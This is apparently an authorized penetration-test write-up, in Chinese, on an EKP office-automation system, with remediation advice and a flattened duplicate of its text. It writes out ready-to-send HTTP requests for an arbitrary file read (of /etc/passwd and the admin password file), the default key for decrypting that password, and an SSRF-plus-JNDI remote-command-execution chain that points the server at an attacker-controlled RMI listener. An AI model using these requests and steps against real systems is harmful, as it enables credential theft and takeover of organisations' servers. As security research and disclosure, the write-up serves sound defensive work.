记一次密码读取+SSRF渗透测试
字数 862 2025-08-05 00:16:28

某凌OA(EKP)系统渗透测试技术分析

0x01 背景

本文记录了一次针对某凌OA(EKP)办公系统的授权渗透测试过程。该系统存在任意文件读取和SSRF+JNDI远程命令执行漏洞,攻击者可以利用这些漏洞获取管理员权限并执行远程命令。

0x02 漏洞概述

该OA系统存在两个关键漏洞:

  1. 任意文件读取漏洞:可读取系统敏感文件,包括管理员密码配置文件
  2. SSRF+JNDI远程命令执行漏洞:结合后台访问权限可实现远程命令执行

0x03 任意文件读取漏洞利用

漏洞位置

/sys/ui/extend/varkind/custom.jsp

利用方法

通过POST请求向该URL发送特定格式的数据,可读取服务器上的任意文件。

读取/etc/passwd示例

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 42

var={"body":{"file":"file:///etc/passwd"}}

读取管理员配置文件示例

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 60

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}

密码解密

从配置文件中获取的密码是加密的,可以使用以下参数解密:

  • 加密模式:ECB
  • 填充方式:ZeroPadding
  • 默认密钥:kmssAdminkey
  • 不需要偏移量(IV)

0x04 SSRF+JNDI远程命令执行

前提条件

  1. 通过任意文件读取获取管理员密码
  2. 使用解密后的密码登录后台(/admin.do)

JNDI注入工具使用

  1. 下载并编译工具:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
  1. 启动监听服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping b50dpx.dnslog.cn" -A "[攻击者IP]"
  1. 构造SSRF请求触发JNDI注入:
POST /admin.do HTTP/1.1
Host: [目标主机]
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Connection: close

method=config&datasource=rmi://[攻击者IP]:1099/zosci3

注意事项

  • 确保1099、1389、8180端口可用
  • 工具需要Java 1.7+和Maven 3.x+环境
  • 默认命令是打开计算器(open /Applications/Calculator.app)

0x05 漏洞修复建议

  1. 限制文件读取功能,禁止读取系统敏感文件
  2. 修改默认加密密钥
  3. 对后台管理接口增加严格的权限验证
  4. 禁用不必要的JNDI查找功能
  5. 更新到厂商提供的最新补丁版本

总结

该渗透测试过程展示了如何利用某凌OA系统的两个关键漏洞实现权限提升和远程命令执行。攻击链如下:

  1. 利用任意文件读取获取管理员加密密码
  2. 使用默认密钥解密密码
  3. 登录后台管理系统
  4. 通过SSRF触发JNDI注入实现RCE

企业应及时应用厂商补丁,并检查系统是否存在类似漏洞。

某凌OA(EKP)系统渗透测试技术分析 0x01 背景 本文记录了一次针对某凌OA(EKP)办公系统的授权渗透测试过程。该系统存在任意文件读取和SSRF+JNDI远程命令执行漏洞,攻击者可以利用这些漏洞获取管理员权限并执行远程命令。 0x02 漏洞概述 该OA系统存在两个关键漏洞: 任意文件读取漏洞:可读取系统敏感文件,包括管理员密码配置文件 SSRF+JNDI远程命令执行漏洞:结合后台访问权限可实现远程命令执行 0x03 任意文件读取漏洞利用 漏洞位置 /sys/ui/extend/varkind/custom.jsp 利用方法 通过POST请求向该URL发送特定格式的数据,可读取服务器上的任意文件。 读取/etc/passwd示例 读取管理员配置文件示例 密码解密 从配置文件中获取的密码是加密的,可以使用以下参数解密: 加密模式:ECB 填充方式:ZeroPadding 默认密钥: kmssAdminkey 不需要偏移量(IV) 0x04 SSRF+JNDI远程命令执行 前提条件 通过任意文件读取获取管理员密码 使用解密后的密码登录后台( /admin.do ) JNDI注入工具使用 下载并编译工具: 启动监听服务: 构造SSRF请求触发JNDI注入: 注意事项 确保1099、1389、8180端口可用 工具需要Java 1.7+和Maven 3.x+环境 默认命令是打开计算器( open /Applications/Calculator.app ) 0x05 漏洞修复建议 限制文件读取功能,禁止读取系统敏感文件 修改默认加密密钥 对后台管理接口增加严格的权限验证 禁用不必要的JNDI查找功能 更新到厂商提供的最新补丁版本 总结 该渗透测试过程展示了如何利用某凌OA系统的两个关键漏洞实现权限提升和远程命令执行。攻击链如下: 利用任意文件读取获取管理员加密密码 使用默认密钥解密密码 登录后台管理系统 通过SSRF触发JNDI注入实现RCE 企业应及时应用厂商补丁,并检查系统是否存在类似漏洞。